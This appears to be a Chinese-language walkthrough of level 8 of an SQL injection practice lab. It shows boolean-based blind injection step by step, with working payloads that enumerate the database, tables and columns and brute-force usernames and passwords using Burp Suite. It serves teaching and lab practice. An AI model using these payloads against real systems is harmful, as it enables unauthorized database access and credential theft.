第8关

1、判断注入点
正确页面:

错误页面:

找到注入点:?id=1' and 1=1--+

2、判断列数
bash
?id=1' order by 3--+

3、判断是否有联合查询漏洞
页面没有回显,确认没有联合查询漏洞

4、判断是否有报错注入
页面错误回显,确认没有报错注入

5、判断是否有布尔盲注
页面按预期正确回显,确认存在布尔盲注
同时,库名长度在5---10之间

确认库名长度为8:?id=1' and length(database())=8 --+

6、爆库名
?id=1' and substr((database()),1,1)='s' --+

借助BP抓包爆破,得到表名为:security

7、爆表
**爆表个数:**爆出有4个表
?id=1' and (select count(*) from information_schema.tables where table_schema=database())=4 --+

**爆表名长度:**爆出第一个表名长度为6
?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=6 --+

利用BP暴力破解,爆得表名字段长度分别为:6---8---7---5

爆表名: 这里手动爆出第4张表的第2个字符为s
//使用ascii( )方法 利用ascii码值进行字符匹对;可以提高效率
?id=1' and (substr(( select table_name from information_schema.tables where table_schema=database() limit 3,1),2,1))='s'--+
借助BP爆破出所有表名:
Payload载荷:0---3 1---6 1---8 1---7 1---5 a---z A---Z
表1:emils

表2:referers

表3:ugents

表4:users

8、爆字段名:
**爆字段长度:**通过二分法,观察页面回显,确定字段名长度为20
?id=1' and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))=20 --+

字段名长度大于19

字段名长度小于21

**爆具体的字段名:**爆的第user表的第一个字段是i
?id=1'and (select substr((group_concat(column_name)),1,1)from information_schema.columns where table_name='users' and table_schema=database())='i' --+
利用BP爆出剩下的字段名:id---username---password

9、爆username:
爆数据条数:
?id=1' and (select count(*) from users )=13 --+

**爆username字段下数据的长度:**username字段下的第一条数据的长度为4
?id=1' and length((select username from users limit 0,1))=4 --+
利用BP爆username字段下的所有数据长度:
共13条username,长度分别是4、8、5、6、6、8、6、5、6、6、6、7、6

爆具体数据:
?id=1' and substr((select username from users limit 0,1),1,1)='a' --+
Payload载荷:0---12 是指每条username
1---4 是指每条(共13条)username的每个具体字符
a---z A---Z 0---9 用来爆出每个字符内容
利用BP暴力破解:
第一条username值:dumb
第二条username值:AngelinA

以此类推,继续爆破剩下的11条和13条password,然后将它们依一配对